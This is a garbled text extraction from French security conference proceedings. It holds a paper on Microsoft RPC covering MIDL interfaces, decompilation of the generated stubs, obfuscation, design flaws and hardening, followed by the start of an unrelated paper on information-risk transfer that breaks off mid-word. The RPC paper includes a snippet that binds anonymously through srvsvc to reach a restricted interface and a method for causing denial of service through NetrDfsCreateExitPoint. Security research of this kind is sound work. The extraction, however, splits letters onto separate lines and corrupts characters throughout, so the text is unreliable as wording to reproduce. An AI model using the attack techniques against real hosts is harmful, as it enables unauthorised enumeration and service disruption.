teur est invité à lire [WNSI℄ pour une liste 
omplète des servi
es

RPC Windows.

L'ensemble des 
ara
téristiques permettant de dé
rire un servi
e MSRPC sont 
ontenues dans

un �
hier texte (servi
e.idl) utilisant le langage MIDL.

3 MIDL

MIDL est le langage qui permet de dé�nir les interfa
es entre des programmes 
lient et serveur.

3.1 Présentation du langage MIDL

L'utilisation des appels de fon
tions distantes RPC dans une appli
ation permet don
 au dé-

veloppeur de ne plus avoir à se sou
ier de gérer la 
ommuni
ation entre le 
lient et le serveur.

Cependant, il est toujours né
essaire de dé�nir les interfa
es utilisées. Une fois 
es interfa
es dé-

�nies, le 
ompilateur générera automatiquement le 
ode permettant au 
lient et au serveur de


ommuniquer.

Les interfa
es MSRPC sont, sous Windows, dé�nies à l'aide du langage MIDL ("Mi
rosoft Inter-

fa
e De�nition Language" en anglais) qui est une extension du langage IDL utilisé pour représenter

les interfa
es DCE RPC.
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Le langage MIDL est très pro
he du C et du C++ utilisés dans les �
hiers entêtes. La prin
ipale

di�éren
e réside dans la présen
e de mots 
lés pré
isant l'en
odage utilisé.

Une interfa
e de 
ommuni
ation RPC est dé�nie dans un �
hier idl et a la forme suivante :

[

uuid(01234567-89ab-
def-0123-456789ab
def),

version(1.0)

℄

interfa
e Example

{

typedef stru
t _info

{

long l;


har 
;

} info;

long RunCommand (

[in℄[string℄ 
har * 
md,

[out℄ info * inf

);

}

La première partie du �
hier, 
omprise entre 
ro
hets, peut être quali�ée d'entête et 
ontient les

informations 
ara
térisant l'interfa
e :

[

uuid(01234567-89ab-
def-0123-456789ab
def),

version(1.0)

℄

On trouve, au minimum, deux éléments : l'identi�ant unique (uuid) et la version. On peut égale-

ment trouver dans l'entête des informations 
on
ernant les points �naux ("endpoints"), l'en
odage

(pointeur) et la manière d'identi�er une session (handle).

Juste après l'entête on trouve le 
orps de l'interfa
e :

interfa
e Example

{

typedef stru
t _info

{

long l;


har 
;

} info;

long Test (

[in℄[string℄ 
har * tab,

[out℄ info * inf

);

}
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Celui 
i 
ontient la dé�nition de 
haque fon
tion utilisée pour 
ommuniquer entre le 
lient et le

serveur mais également la dé�nition de toutes les stru
tures passées dans 
es fon
tions.

Si l'on regarde de plus près la fon
tion � Test �, on s'aperçoit que 
haque argument est pré
édé

d'un mot 
lé ([in℄, [out℄ ou [in, out℄). Ces mots 
lés servent à pré
iser dans quel sens les arguments

doivent être transmis :

[in ℄ : 
lient vers serveur,

[out ℄ : serveur vers 
lient,

[in, out ℄ : 
lient vers serveur puis serveur vers 
lient.

D'autres mots 
lés peuvent être présents :

long Test2 (

[in℄[string℄ w
har_t * str,

[in℄ long l,

[in℄[size_is(l)℄ w
har_t * str2

}

L'exemple pré
édent 
ontient une grande partie des failles d'implémentation RPC a
tuellement


onnues. Il est don
 né
essaire de bien le 
omprendre. L'argument � str � est une 
haîne de 
ara
tères

(string) uni
ode (w
har_t). Il n'est fait a au
un moment mention de la taille de la 
haîne. La taille

exa
te de la 
haîne sera passé au niveau de l'en
odage et les fon
tions RPC se 
hargeront d'allouer

et désallouer les zones mémoires né
essaires. Un programme devra don
 faire très attention à ne pas


opier 
et argument dans un bu�er de taille �xe pour éviter d'éventuels débordements de tampons.

L'argument � str2 � est pré
édé du mot 
lé size_is qui sert à indiquer la taille réelle du bu�er

(di�érent de la taille réellement transmise). Il faut don
 toujours véri�er 
ette taille avant toute

manipulation.

En supposant que les arguments � str � et � str2 � ont une taille maximum, il est possible de

modi�er la dé�nition IDL est ainsi de réduire les risques d'erreurs de programmation :

long Test2 (

[in℄[range_is(0,100)℄ long l1,

[in℄[string℄[size_is(l1)℄ w
har_t * str,

[in℄[range_is(0,10000)℄ long l2,

[in℄[size_is(l2)℄ w
har_t * str2

}

Le mot 
lé range_is for
era les fon
tions RPC à véri�er que l'entier (l1 ou l2) est bien 
ompris

entre les valeurs spé
i�ées. Si 
e n'est pas le 
as une ex
eption RPC aura lieu et la fon
tion ne sera

jamais appelée.

Une fois l'interfa
e MIDL dé�nie, elle peut être transformée en 
ode C à l'aide du 
ompilateur

midl.exe.

3.2 En
odage MIDL

Une analyse du 
ode généré par le 
ompilateur MIDL va permettre de 
omprendre 
omment il

est possible d'extraire et de dé
ompiler les interfa
es RPC d'un binaire.

Le 
ompilateur MIDL fourni par Mi
rosoft o�re de 
ompiler l'interfa
e IDL en stub interprété

(fully interpreted stub), en stub semi-interprété (mixed stub ou interpreted stub) et en mode en
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ligne (inline stub). La di�éren
e entre 
es di�érents modes réside dans le 
ode généré mais également

dans la vitesse de traitement des requêtes RPC (le mode en ligne étant le plus rapide).

Bien qu'il existe plusieurs modes de 
ompilation, le 
ode généré présente 
ependant des simili-

tudes. On trouve, notamment, la stru
ture dé
rivant l'interfa
e du serveur :

stati
 
onst RPC_SERVER_INTERFACE Example___Rp
ServerInterfa
e =

{

sizeof(RPC_SERVER_INTERFACE),

{{0x01234567,0x89ab,0x
def,{\{}0x01,0x23,0x45,0x67,0x89,

0xab,0x
d,0xef}},{1,0}},

{{0x8A885D04,0x1CEB,0x11C9,{\{}0x9F,0xE8,0x08,0x00,0x2B,

0x10,0x48,0x60}},{2,0}},

&Example_v1_0_Dispat
hTable,

0,

0,

0,

&Example_ServerInfo,

0

};

On peut noter la présen
e de l'identi�ant unique de l'interfa
e � Example �, suivi par l'identi�ant

représentant le proto
ole de transfert. Les deux autres entrées sont également très importantes.

Juste après l'identi�ant de transfert se situe un pointeur vers une stru
ture appelée Dispat
hTable :

RPC_DISPATCH_TABLE Example_v1_0_Dispat
hTable =

{

1,

Example_table

};

Cette stru
ture a 
omme premier élément le nombre de fon
tions présentes dans l'interfa
e RPC.

Les autres éléments sont des pointeurs vers le 
ode de 
haque fon
tion RPC dans le 
as d'un stub

en ligne et un pointeur vers une stru
ture de 
ontr�le dans le 
as d'un stub interprété.

L'autre élément de la stru
ture Rp
ServerInterfa
e, Example_ServerInfo, est un pointeur vers

une autre stru
ture 
ontenant des informations sur l'interfa
e RPC. Il est a noté que 
e pointeur

n'existe pas si l'on est dans le 
as d'un stub en ligne. Cette stru
ture a le format suivant :

stati
 
onst MIDL_SERVER_INFO Example_ServerInfo =

{

&Example_StubDes
,

Example_ServerRoutineTable,

__MIDL_Pro
FormatString.Format,

Example_FormatStringOffsetTable,

0,

0,

0,

0

};
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Cette stru
ture est essentiellement 
omposée de pointeurs :

Example_ServerRoutineTable est un pointeur sur une stru
ture 
ontenant des pointeurs vers

le 
ode de 
haque fon
tion RPC ;

__MIDL_Pro
FormatString.Format est un pointeur vers une 
haîne de format représentant


haque fon
tion (arguments, en
odage...) ;

Example_FormatStringO�setTable est un pointeur sur une stru
ture indiquant l'o�set de 
haque

fon
tion RPC dans une 
haîne de format servant à analyser l'en
odage.

Le tout premier élément de la stru
ture, StubDes
, pointe vers une nouvelle stru
ture de 
ontr�le :

stati
 
onst MIDL_STUB_DESC Example_StubDes
 =

{

(void __RPC_FAR *)&Example___Rp
ServerInterfa
e,

MIDL_user_allo
ate,

MIDL_user_free,

0,

0,

0,

0,

0,

__MIDL_TypeFormatString.Format,

1, /* -error bounds_
he
k flag */

0x20000, /* Ndr library version */

0,

0x50100a4, /* MIDL Version 5.1.164 */

0,

0,

0, /* notify {\&} notify_flag routine table */

1, /* Flags */

0, /* Reserved3 */

0, /* Reserved4 */

0 /* Reserved5 */

};

L'élément important de 
ette stru
ture est __MIDL_TypeFormatString.Format. Il s'agit d'un

pointeur sur une autre 
haîne de format qui dé
rit les arguments plus 
omplexes ainsi que les

stru
tures utilisées dans l'interfa
e MIDL. A titre d'exemple, voi
i le 
ode représentant l'argument

str de l'interfa
e � Test � :

0x11, 0x8, /* FC_RP [simple_pointer℄ */

/* 4 */

0x22, /* FC_C_CSTRING */

0x5
, /* FC_PAD */

On remarquera que 
ette 
haîne de format est relativement simple à 
omprendre. Il s'agit d'un

pointeur (0x11) sur un type de base (0x8) qui est une 
haîne uni
ode (0x22).

Les stru
tures pré
édentes ainsi que les 
haînes de format étant présentes dans le binaire, il est

tout à fait envisageable de pouvoir les extraire de 
e binaire et de les dé
ompiler a�n d'obtenir le


ode MIDL originel de l'interfa
e RPC.



150

3.3 Dé
ompilation MIDL

On a vu pré
édemment qu'il était envisageable de dé
ompiler les 
haînes de format RPC a�n

de re
réer le 
ode MIDL. Il faut 
ependant pouvoir trouver 
es 
haînes au sein de l'éxé
utable.

En regardant de plus près les di�érentes stru
tures 
omposant le 
ode RPC, on s'aperçoit que,

dans le 
as d'un stub 
omplètement interprété (le plus fréquent), il est possible de trouver les


haînes de format en suivant les pointeurs de la stru
ture Example___Rp
ServerInterfa
e. Or


ette stru
ture dispose d'un élément stable et fa
ilement identi�able : l'identi�ant du proto
ole de

transfert.

La dé
ompilation du 
ode RPC d'un stub interprété et/ou 
omplètement interprété est don


possible. Mais qu'en est il d'un stub en ligne ?

Il n'existe au
une façon �able d'appliquer la même démar
he que pré
édemment 
ar le pointeur

Example_ServerInfo n'existe pas s'il s'agit d'un stub inline. Cependant dans 
e 
as là, la stru
ture

Dispat
hTable est une liste de pointeur dans le 
ode binaire du programme sur 
haque fon
tion. A la

di�éren
e d'un stub interprété où le 
ode des arguments RPC sont analysé hors des fon
tions, 
haque

fon
tion de l'interfa
e RPC d'un stub inline analyse 
es arguments (
ode généré automatiquement) :

NdrServerInitializeNew(

_pRp
Message,

&_StubMsg,

&Example_StubDes
);

[...℄

NdrConvert( (PMIDL_STUB_MESSAGE) &_StubMsg,

(PFORMAT_STRING)

&__MIDL_Pro
FormatString.Format[0℄ );

Une fon
tion fait don
 référen
e à Example_StubDes
 qui 
ontient les pointeurs né
essaires pour

trouver une des 
haînes de format et fait dire
tement référen
e à l'autre 
haîne de format.

Il est don
 également possible d'extraire et de re
onstruire le 
ode MIDL dans le 
as d'un stub

en ligne. Il faut 
ependant être 
apable d'analyser le 
ode binaire d'un programme.

Il existe a
tuellement plusieurs dé
ompilateurs MIDL permettant de re
réer le 
ode MIDL :

- muddle [MUDDLE℄ : premier dé
ompilateur MIDL apparu en 2000 et fait par Matt Chapman.

Ce dé
ompilateur, a�n de trouver les di�érentes stru
tures RPC utilise 
omme 
ode �xe la version

de la librairie Ndr. Cette méthode n'est 
ependant pas �able et ne permet pas de gérer 
orre
tement

les stubs en ligne. La déte
tion des stubs en ligne est basée sur le fait que la 
haîne de format se

trouve à une position �xe par rapport à la stru
ture dé
ouvert. Or 
e n'est rarement le 
as. muddle

n'est plus maintenu et ne permet de re
réer le 
ode MIDL qu'ave
 du 
ode 
ompilé ave
 des vieilles

versions de midl.exe.

- unmidl [UNMIDL℄ : dé
ompilateur MIDL é
rit en python en 2004-2005 par Dave Aitel. Ce dé-


ompilateur MIDL permet d'extraire les interfa
e MIDL sans avoir à faire au
une analyse préalable

sur le binaire. Il fon
tionne sur toutes les plateformes permettant d'utiliser python (Unix, Windows,

...). Il présente 
ependant le même problème que muddle au niveau des stub en ligne.

- mIDA [MIDA℄ : plugin IDA é
rit en 2005-2006 par Ni
olas Pouvesle. Il s'agit d'un plugin pour

le désassembleur IDA. Il est don
 né
essaire de posséder une 
opie de 
e logi
iel (Windows). Il o�re


ependant un meilleur support de l'analyse des stubs en ligne en s'appuyant sur l'analyse du 
ode

binaire e�e
tuée par le désassembleur.

Il est don
 tout à fait possible d'extraire et de re
onstruire le 
ode MIDL d'un binaire en utilisant

des outils existant ou en 
réant soit même de nouveau programme.
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Cependant existe-t-il des méthodes permettant d'empê
her 
ette dé
ompilation.

3.4 Obs
ur
issement IDL

Les 
haînes de format générées par le 
ompilateur MIDL de Mi
rosoft étant né
essaires au

fon
tionnement d'une appli
ation RPC il n'est pas possible de les supprimer et don
 d'empê
her

quelqu'un de re
réer le 
ode. Cependant il existe quelques te
hniques permettant de rendre 
ette

ta
he beau
oup plus ardue.

On peut dans un premier temps s'attaquer à l'obs
ur
issement des données 
ara
téristiques de

l'en
odage RPC. Il est par exemple possible de supprimer l'identi�ant du proto
ole de transfert

ainsi que le numéro de version de la librairie Ndr. Ces 
hamps devront 
ependant être remplies

avant d'appeler les fon
tions RPC. De 
ette façon les dé
ompilateurs n'ont plus de point de repère

�xe permettant de trouver 
es stru
tures.

Il est 
ependant possible de re
her
her les appels aux fon
tions d'initialisation RPC 
e qui

permet de suspe
ter la présen
e d'un telle stru
ture et ainsi d'en obtenir l'empla
ement dans le

binaire.

Un autre te
hnique, plus subtile, 
onsiste à modi�er le 
ontenu des deux 
haînes de format. Le


ode généré par les dé
ompilateurs RPC n'aura alors plus rien à voir ave
 la réalité. Là en
ore il

est né
essaire de restaurer 
es 
haînes avant d'appeler les fon
tion d'initialisation RPC (Rp
Server-

RegisterIf,...). Cette deuxième méthode est beau
oup plus intéressante que la première si elle est


orre
tement mise en oeuvre. En e�et, en remplaçant les 
haînes de format ave
 d'autres 
haînes

de format RPC 
ette obs
ur
issement peut fa
ilement passer inaperçu.

En�n il existe une dernière te
hnique d'obs
ur
issement MIDL qui ne 
on
erne que 
ertains

dé
ompilateurs et n'est valable que dans le 
as d'un mode en ligne. Supposons que le �
hier IDL

ressemble à 
ela :

/* op
ode 0x00 */

long fun
tion1 (

[in℄ long l

);

/* op
ode 0x01 */

long fun
tion2 (

[in℄ 
har 
,

[out℄ long * l

);

Il su�t alors de 
réer des fon
tions fant�mes qui ne servent à rien mais qui ont exa
tement les

mêmes dé�nitions. Le �
hier IDL deviendrait par exemple :

/* op
ode 0x00 */

long fun
tion_ph1 (

[in℄ 
har 
,

[out℄ long * l

);

/* op
ode 0x01 */

long fun
tion_ph2 (

[in℄ long l
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);

/* op
ode 0x02 */

long fun
tion1 (

[in℄ long l

);

/* op
ode 0x03 */

long fun
tion2 (

[in℄ 
har 
,

[out℄ long * l

);

Le 
ode généré par des dé
ompilateurs ne s'appuyant par sur l'analyse du 
ode binaire est le suivant :

/* op
ode 0x00 */

long fun
tion_ph1 (

[in℄ 
har 
,

[out℄ long * l

);

/* op
ode 0x01 */

long fun
tion_ph2 (

[in℄ long l

);

Les fon
tions réellement intéressantes ne ressortent pas dans le 
ode généré. Cette te
hnique d'obs-


ur
issement devient vraiment e�
a
e ave
 plus de 2 fon
tions RPC. Cette parti
ularité est du au

fait que la 
haîne de format réutilise le même 
ode pour des fon
tions identiques. Or il est impossible

de déte
ter 
ela sans une analyse du 
ode binaire.

4 Une sé
urité pour le moins douteuse

4.1 Vulnérabilités relevant de la 
on
eption

Certains 
hoix ont été e�e
tués par Mi
rosoft dans la 
on
eption de leurs RPC. Si 
ertains n'ont

eu que des 
onséquen
es ennuyeuses, d'autres se sont révélés réellement 
atastrophiques.

Partage des interfa
es et points �naux RPC dans un même pro
essus Pour des raisons

qui nous sont étrangères, Mi
rosoft a doté son mé
anisme RPC d'une propriété parti
ulière, à

l'origine de bien des maux. Tous les points �naux et interfa
es sont � partagés � au sein d'un même

pro
essus : 
ela signi�e qu'il est possible d'a

éder à tout sous-ensemble de fon
tions distantes à

partir de n'importe quel point �nal disponible dans un pro
essus.

Cela permet de 
ontourner les restri
tions d'a

ès posées sur un point �nal, de s'a�ran
hir

d'authenti�
ation, d'a

éder à des fon
tions initialement exposées seulement lo
alement.

Prin
ipe du moindre privilège et divulgation d'information Le prin
ipe du moindre pri-

vilège dont il est i
i question n'est évidemment pas la do
trine sé
uritaire maintenant largement


onnue mais une adaptation libre de la part de Mi
rosoft. Dès NT 4.0, l'éditeur a opté pour une
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� transparen
e � maximale de son système d'exploitation vis-à-vis d'éventuels 
lients réseaux. En

e�et, de nombreuses fon
tions distantes sont a

essibles par défaut dans Windows et ne né
essitent

qu'un moindre privilège : un identi�ant et un mot de passe nuls (aussi appelé � Null Session �).

Les informations que l'on peut en tirer devraient faire blêmir tout administrateur un tant soit peu


ons
ien
ieux : version du système d'exploitation, régionalisation, utilisateurs, groupes, privilèges,

pro
essus, . . .

Le prin
ipe de partage des interfa
es et points �naux fa
ilite d'autant le travail à un éventuel

utilisateur mali
ieux. Voi
i quelques exemples 
onnus ou non : A�n de mieux 
omprendre 
omment

Bulletin Endpoint Endpoint Fon
tion Des
ription

original d'a

ès RPC Des
ription

URP1 \pipe\sv

tl \pipe\srvsv
 EnumServi
eStatus Liste les

servi
es

URP1 \pipe\eventlog \pipe\srvsv
 OpenEventLog A

ès aux

logs système

*0day* (XP SP1) \pipe\Ctx_Winstation_ \pipe\srvsv
 Rp
Winstation Liste les

API_Servi
e \pipe\srvsv
 OpenServer pro
ess


ela fon
tionne nous allons étudier la � faille � 
on
ernant � Terminal Servi
e � sur Windows XP

SP1. Lorsque 
e servi
e est a
tivé l'interfa
e RPC suivante est disponible :

pipe: Ctx_Winstation_API_Servi
e, uuid:

5
a4a760-ebb1-11
f-8611-00a0245420ed v1.0

Il est 
ependant impossible d'a

éder à 
e servi
e sans disposer d'un mot de passe valide. Cependant

une autre interfa
e est disponible en anonyme :

pipe: srvsv
, uuid: 5
a4a760-ebb1-11
f-8611-00a0245420ed v1.0

Or il est possible d'a

éder à l'interfa
e du servi
e � Terminal Servi
e � en passant par le servi
e

� srvsv
 � et ainsi é
happer aux restri
tions d'a

ès :

fid = bind_pipe (pipe:"$\ba
kslash $srvsv
",

uuid:"5
a4a760-ebb1-11
f-8611-00a0245420ed", vers:1);

En utilisant 
ette méthode il est possible d'appeler la fon
tion Rp
WinstationOpenServer et ainsi

d'énumérer la liste des pro
ess a
tifs.

4.2 Vulnérabilités relevant de l'implémentation

Au 
ours de 
es dernières années, les RPC sont devenus le premier ve
teur d'exé
ution de 
ode

à distan
e, sans intera
tion de l'utilisateur, sur les systèmes d'exploitation Mi
rosoft. La raison

en est simple : la quantité de fon
tionnalités a

essibles anonymement, ou après authenti�
ation

minimale, à distan
e grâ
e aux RPC est importante, et par 
onséquent le 
ode que 
ela représente

aussi. Ce dernier, assurément, n'est pas exempt de bogues.

Il nous semble opportun de rappeler i
i les fon
tions distantes ayant par le passé présenté des

vulnérabilités :
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Bulletin Module Identi�ant de Fon
tion

l'interfa
e

MS05-051 MsDt
 906b0
e0-
70b-1067- BuildContextW

b317-00dd010662da

MS05-043 Spoolss 12345678-1234-ab
d- AddPrinterExW

ef00-0123456789ab

MS05-046 NwWks e67ab081-9844-3521- NwrGetUser

9d32-834f038001
0 NwrGetUser

MS05-039 UmPnpMgr 8d9f4e40-a03d-11
e- PNP_Dete
t

8f69-08003e30051b Resour
eCon�i
t

MS05-017 Msmq fdb3a030-065f-11d1- QMDeleteObje
t

bb9b-00a024ea5525

MS05-010 Lls 342
fd40-3
6
-11
e- LlsRepli
ation

a893-08002b2e9
6d RequestW

MS04-011 Lsarp
 3919286a-b10
-11d0- LsarClear

9ba8-00
04fd92ef5 AuditLog

MS03-039 epmapper 000001a0-0000-0000- RemoteGet


000-000000000046 ClassObje
t

MS03-026 epmapper 4d9f4ab8-7d1
-11
f- Remote

861e-0020af6e7
57 A
tivation

4.3 Quelques � fon
tionnalités � surprenantes (Exemples de rétro-
on
eption

d'interfa
es RPC)

Le servi
e 
lient DNS Ave
 Windows 2000, Mi
rosoft a introduit un servi
e de résolution DNS

ave
 
a
he, exposant une interfa
e RPC lo
alement (don
 une interfa
e LPC). Un rapide 
oup d'÷il

à la bibliothèque dynamique impliquée permet d'isoler l'interfa
e, et les symboles nous renseignent

sur les fon
tions a

essibles au travers de 
ette dernière. Leurs noms sont expli
ites, par exemple :

� CRrReadCa
he,

� CRrReadCa
heEntry,

� CrrCa
heRe
ordSet.

Cela devient intéressant lorsque l'on s'aperçoit que 
e servi
e est hébergé au sein du binaire ser-

vi
es.exe qui abrite de nombreux autres interfa
es et points �naux RPC, dont 
ertains a

essibles

anonymement à distan
e. Grâ
e aux propriétés de partages abordées pré
édemment, il devenait

possible de 
ontr�ler le 
a
he DNS d'un poste Windows 2000 à distan
e sans au
une authenti�
a-

tion.

Le pré�xe IDL size_is Comme nous l'avons vu pré
édemment le langage IDL permet d'utiliser

le pré�xe � size_is � pour dé�nir la taille réelle d'un tableau transmis en argument :

[in℄[size_is (120)℄ 
har * tab;

Le 
ode pré
édent représente un tableau de 
ara
tères de taille 120. On peut 
ependant trouver 
e

pré�xe dans des 
onditions quelques peu di�érentes :

/* op
ode: 0x30, address: 0x7509E017 */

long _NetrDfsCreateExitPoint (
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[in℄[unique℄[string℄ w
har_t * arg_1,

[in℄ stru
t stru
t_17 * arg_2,

[in℄[string℄ w
har_t * arg_3,

[in℄ long arg_4,

[in℄ long arg_5,

[out℄[size_is(arg_5)℄ w
har_t * arg_6

);

La fon
tion NetrDfsCreateExitPoint est présente dans l'interfa
e RPC � srvsv
 �. Grâ
e (ou à


ause) du partage des interfa
es, � srvsv
 � est a

essible en anonyme via l'interfa
e � browser �.

On peut don
 appeler la fon
tion pré
édente sans avoir besoin d'un mot de passe valide. Or la


haîne uni
ode arg_6 est un argument qui n'est présent que dans la réponse. De plus, 
et argument

utilise le pré�xe size_is ave
 l'argument arg_5 qui est lui dans la requête.

L'implémentation RPC deWindows restreint 
ependant le 
hamp size_is à 2 Gigas (0x7FFFFFFF).

De plus on est i
i dans le 
as d'une 
haîne uni
ode. Il faut don
 que l'argument arg_4 soit inférieur

à 1 Giga.

Un attaquant peut don
 appeler 
ette fon
tion en anonyme et for
er la ma
hine distante à

allouer jusquà 1 Giga o
tet de mémoire, se qui aura pour e�et de saturer la ma
hine 
ible durant

quelques se
ondes. Il su�t alors de répéter la requête (quelques o
tets seulement) pour provoquer

un déni de servi
e.

Une autre 
ara
téristique très surprenante du pré�xe size_is 
on
erne les stubs en ligne. Soit le


ode suivant :

void test (

[in℄ long arg_1,

[in℄[size_is(arg_1)℄ 
har * tab

);

Si la fon
tion RPC est 
ompilée en stub interprété alors le 
hamp arg_1 sera testé pour véri�er

que sa valeur est 
omprise entre 0 et 0x7FFFFFFF. Or 
e n'est pas le 
as ave
 un stub en ligne !

Il est don
 tout à fait possible d'envoyer un tableau de taille 100 ave
 l'argument arg_1 mis à

0xFFFFFFFF. Or si le 
ode de la fon
tion test se base sur la valeur de arg_1 pour allouer une zone

de mémoire équivalente à 
elle du tableau, il devient envisageable de pouvoir produire un déni de

servi
e, voir un heap over�ow.

Il est don
 par 
onséquent très important de ne pas se �er totalement à la dé�nition IDL mais

de 
ontinuer à faire les tests né
essaire dans le 
ode pour se prévenir de se genre de failles.

5 Des e�orts qui vont dans le bon sens

Bien que les di�érents points soulevés pré
édemment soient alarmants, Mi
rosoft a réagi et

apporte au fur et à mesure des 
orre
tions aux problèmes liés aux RPC, pas seulement en publiant

des 
orre
tifs, mais en modi�ant leur système d'exploitation.

En e�et, l'arrivée de Windows XP SP2 et Windows 2003 SP1 a 
onsidérablement réduit le

nombre de servi
es a

essibles en anonyme ainsi que le nombre d'interfa
es partagées au sein d'un

même pro
ess. Par exemple, sous Windows XP SP2, seul les interfa
es � browser � et � spoolss �

restent a

essibles en anonyme ainsi que l'interfa
e � srvsv
 � en utilisant � browser �. La restri
tion
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du nombre d'interfa
es a

essibles sans mot de passe réduit don
 
onsidérablement l'exploitation

massive d'une faille RPC potentielle.

Un autre 
hangement important lié à Windows XP SP2 et Windows 2003 SP1 réside dans le


ode même des fon
tions RPC. En e�et toutes les fon
tions 
onsidérées 
omme dangereuses (printf,

str
py, str
at) ont été rempla
ées par des fon
tions plus sûres (snprintf, strn
py, ...).

Un audit de sé
urité approfondi à également été e�e
tué a�n de diminuer le nombre de failles

pouvant être présentes. Il su�t, pour s'en 
onvain
re, de regarder le nombre de failles ré
entes qui

ont 
on
ernées Windows XP SP1 mais qui n'étaient pas présentes dans le SP2.

En�n la sortie de URP1 pour Windows 2000 a également permis de diminuer le nombre de

servi
es RPC a

essibles en anonyme mais a également grandement diminuer les informations qu'il

était possible d'obtenir.

6 Mi
rosoft, seul 
oupable ?

Bien que la majorité des failles RPC 
onnues 
on
erne le système d'exploitation Windows,

d'autres failles toutes aussi 
ritiques a�e
tent d'autres logi
iels. On peut, par exemple, présenter

une faille qui a�e
taient les versions Windows du logi
iel Veritas Ba
kup Exe
 [VERITAS℄ :

93841fd0-16
e-11
e-850d-02608
44967b v1.0 / TCP port 6106

Ce servi
e RPC o�rait tout simplement, à qui
onque se 
onne
tait sur le port TCP 6106, un a

ès

total (le
ture et é
riture) à la base de registre Windows et permettait don
 à un attaquant de


ompromettre le système. Le 
orre
tif de sé
urité supprime le servi
e RPC. Cependant tout n'est

pas en
ore 
omplètement �xé ! (* 0day *).

7 Con
lusion

Si Mi
rosoft fait de gros e�orts de sé
urisation de ses fon
tionnalités fondées sur RPC, il ne

faut pas perdre de vue que les RPC sont utilisés par bon nombre de développeurs 
omme base de


ommuni
ation entre appli
ations 
liente et serveur. A 
e titre, même si le 
÷ur du système tend à

s'assainir, les vulnérabilités présentes un jour dans le système d'exploitation ont toutes les 
han
es

de se retrouver à un moment ou un autre dans les appli
atifs.
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Quali�
ation et quanti�
ation des risques en vue de leur

transfert : la notion de patrimoine informationnel.

Jean-Laurent Santoni

Marsh Risk Consulting Fran
e

1 Introdu
tion

Pour les systèmes d'information, un des points majeurs en matière de gestion des risques et

de leur transfert tient dans la quali�
ation des objets informationnels et de l'identi�
ation des

�ux é
hangés entre les di�érents a
teurs (quali�
ation juridique et te
hnique, et quali�
ation des

évènements redoutés) d'une part, et d'autre part dans la quanti�
ation des enjeux, qu'il s'agisse

des pertes supportées, des frais de 
ontinuité engagés ou des dettes de responsabilités en dé
oulant.

Quali�
ation et quanti�
ation supposent alors de quitter la sphère te
hnique et de se pla
er

dans une double perspe
tive : l'é
onomie des immatériels, d'une part, et l'é
ologie des immatériels,

d'autre part.

L'é
onomie des immatériels est fondée sur l'émergen
e de la notion de patrimoine informationnel.

Le patrimoine informationnel devra être appréhendé d'une part en 
e qu'il peut être en tant qu'a
tif

patrimonial l'objet du risque, la 
ible du préjudi
e, et d'autre part en 
e qu'il peut être le fait

générateur du risque, la sour
e du préjudi
e, élément de passif patrimonial. Une ré�exion devra être

menée sur les 
omposantes du patrimoine informationnel, essentiellement sur les données (logi
iel,

base de données, informations) et les traitements (�ux et é
hanges). Cette ré�exion devra intégrer

des aspe
ts juridiques stri
to sensu (quali�
ations et régimes juridiques), mais également des aspe
ts

é
onomiques (analyse de la valeur) si l'on veut appréhender les deux éléments 
lés du risque que

sont la dé�nition des faits générateurs et la quanti�
ation des pertes induites.

L'é
ologie des immatériels sera, elle, fondée sur l'émergen
e des nouveaux rapports entre l'homme

et l'environnement informationnel mondial, dans une perspe
tive où se mêleront la morale et le droit.

L'expression d'é
ologie renvoie à une appro
he internationale et à la mise en ÷uvre de politique

d'in
itation et de répression des 
omportements.

2 Quali�
ation et quanti�
ation des risques en vue de leur transfert : la

notion de patrimoine informationnel

La révolution te
hnologique, qui bouleverse les modes opératoires et modi�e la façon dont la

valeur est 
réée a engendré une nouvelle é
onomie 
omposée d'a
teurs prestataires de servi
es imma-

tériels. Outre l'émergen
e de 
ette nouvelle é
onomie numérique, nous assistons à un dépla
ement

de la valeur, du matériel vers l'immatériel. Ainsi, pour l'entreprise au sens large, on parlera de plus

en plus de 
on
epts tels que le � patrimoine informationnel �, démontrant par là la re
onnaissan
e

du poids grandissant de la valeur des informations par rapport à leur support ou, plus généralement,

aux seuls a
tifs physiques. Les 
omposantes du patrimoine informationnel sont essentiellement les

données (logi
iel, base de données, informations) et les traitements (�ux et é
hanges).
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2.1 L'environnement numérique : immatériel et sans frontières

L'environnement numérique se 
ara
térise par les prin
ipales spé
i�
ités suivantes :

Un environnement ouvert Les réseaux numériques sont totalement ouverts par 
on
eption,

a

essibles à tous 
eux qui sont 
onne
tés. Le nombre d'utilisateurs est a priori illimité. En 
onsé-

quen
e, le système d'information d'une entreprise 
onne
tée au réseau numérique est relié à l'exté-

rieur.

Une dématérialisation des é
hanges et des biens Un 
ommer
e sans é
hange physique entre

a
heteur et vendeur (
ommer
e éle
tronique),

Un réseau qui n'appartient à personne en tant que tel Seule l'extrémité, i.e. la tête du

réseau, appartient à une entreprise ; 
'est également un univers sans autorité 
entrale, ni juridi
tion

au niveau international.

Dans 
e 
ontexte, on 
omprendra que les aspe
ts liés à la sé
urité, à l'authenti
ité et à la 
on�-

dentialité de l'information seront de plus importants que dans un environnement fermé, à l'image

d'un environnement physique. On retiendra également la dépendan
e 
roissante des entreprises

envers 
e type de te
hnologies (qui peut aujourd'hui se passer des biens in
orporels ?) 
ar elles

pro
urent un a

ès au 
onsommateur, parti
ulier ou entreprise, et permettent une diminution des


oûts. A 
ontrario, la défaillan
e de tout ou partie de 
et ensemble peut entraîner des pertes graves

pour l'entreprise.

Quelle est la nature des risques pesant sur l'environnement numérique et les biens in
orporels ?

Les 
ara
téristiques de l'environnement numérique se traduisent par un risque d'ampli�
ation ou

de 
ontagion par un e�et de domino. En 
onsidérant les risques en termes de fréquen
e et de gravité,

il est possible de mettre en éviden
e au moins quatre domaines où les te
hnologies numériques et

les biens in
orporels ampli�ent l'exposition aux risques :

1. L'augmentation du nombre potentiel des ré
lamations : le nombre d'a
teurs et de 
onne
tés

augmente de manière exponentielle.

2. L'augmentation de la gravité potentielle des sinistres :

� l'o�re est de plus en plus ri
he et davantage mise en valeur ;

� a�n d'augmenter le �ux de leurs revenus à l'international, les entreprises utilisent de plus en

plus les te
hnologies numériques 
omme outil de 
ommuni
ation et d'é
hange.

3. La multipli
ation des mises en 
ause potentielles : on assiste à une démultipli
ation du nombre

d'intervenants ayant une impli
ation dire
te ou indire
te dans les te
hnologies numériques.

4. L'augmentation de la 
omplexité des risques traditionnels et des pro
édures juridiques : le


ara
tère international d'Internet et du 
ommer
e éle
tronique, implique un risque a

ru de


on�it de loi. Une fois l'information ou l'o�re émise sur le réseau, sa di�usion peut é
happer

totalement au 
ontr�le de son auteur. De fait, il paraît impossible de respe
